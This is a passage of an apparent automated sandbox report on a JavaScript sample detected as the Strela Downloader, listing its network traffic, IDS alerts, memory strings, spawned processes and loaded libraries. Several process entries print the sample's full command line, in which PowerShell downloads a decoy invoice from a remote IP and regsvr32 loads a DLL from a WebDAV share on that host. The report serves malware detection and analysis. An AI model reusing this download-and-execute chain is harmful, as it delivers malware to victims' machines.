20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205
Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1681675944.000001DA6A39D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1748286252.000001F3614FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000003.1745192852.000001F3614FA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1748286252.000001F3614FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/L
Source: net.exe, 00000006.00000003.1745192852.000001F3614FA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1748286252.000001F3614FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/l
Source: net.exe, 00000006.00000002.1748191732.000001F3614C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000008.00000002.2963319546.0000020F30800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1747518100.0000020F30A18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1747518100.0000020F30A18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1747518100.0000020F30A18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1747518100.0000020F30A4D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1747518100.0000020F30AC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1747518100.0000020F30AC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1747518100.0000020F30AC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7032, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 6942228092691529249.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6356:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kovrx4by.snb.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 6942228092691529249.js

Virustotal: Detection: 14%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6942228092691529249.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1732,i,10135533958291103710,16445011062293474769,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1732,i,10135533958291103710,16445011062293474769,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
